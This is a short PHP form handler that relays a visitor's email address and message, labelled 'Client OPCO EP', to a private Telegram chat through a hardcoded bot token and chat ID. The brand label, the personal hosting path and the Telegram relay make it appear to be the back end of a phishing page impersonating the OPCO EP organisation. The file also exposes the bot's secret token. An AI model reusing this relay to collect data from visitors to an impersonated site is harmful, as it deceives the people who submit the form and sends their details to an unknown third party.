/home2/mshostin/public_html/opco/traitement.php
<?php
if ($_SERVER["REQUEST_METHOD"] == "POST") {
    // Récupération et sécurisation des données
    $email = filter_var($_POST['email'], FILTER_SANITIZE_EMAIL);
    $message = htmlspecialchars($_POST['message']);

    if (!empty($email) && !empty($message)) {
        // Token et chat_id du bot
        $botToken = "8497396853:AAFA2wWpyh0QbgzAZuJyl26tVugcVLnP32A";
        $chat_id = "8278634960";

        // Message à envoyer
        $text = "🧑‍💻 Client OPCO EP :\n\nEmail : $email\nMessage : $message";

        // URL de l'API Telegram
        $url = "https://api.telegram.org/bot$botToken/sendMessage";

        // Préparation des données POST
        $postFields = [
            'chat_id' => $chat_id,
            'text' => $text
        ];

        // Initialisation cURL
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_POST, true);
        curl_setopt($ch, CURLOPT_POSTFIELDS, $postFields);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_TIMEOUT, 10); // timeout de 10 secondes

        $response = curl_exec($ch);
        $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        $curl_error = curl_error($ch);
        curl_close($ch);

        if ($response && $http_code == 200) {
            // Redirection vers la page de remerciement
            header("Location: thankyou.html");
            exit();
        } else {
            echo "<h3>Erreur : impossible d'envoyer le message sur Telegram.</h3>";
            echo "<pre>HTTP Code: $http_code\ncURL Error: $curl_error\nResponse: $response</pre>";
        }
    } else {
        echo "<h3>Veuillez remplir tous les champs correctement.</h3>";
    }
} else {
    echo "<h3>Méthode de requête invalide.</h3>";
}
?>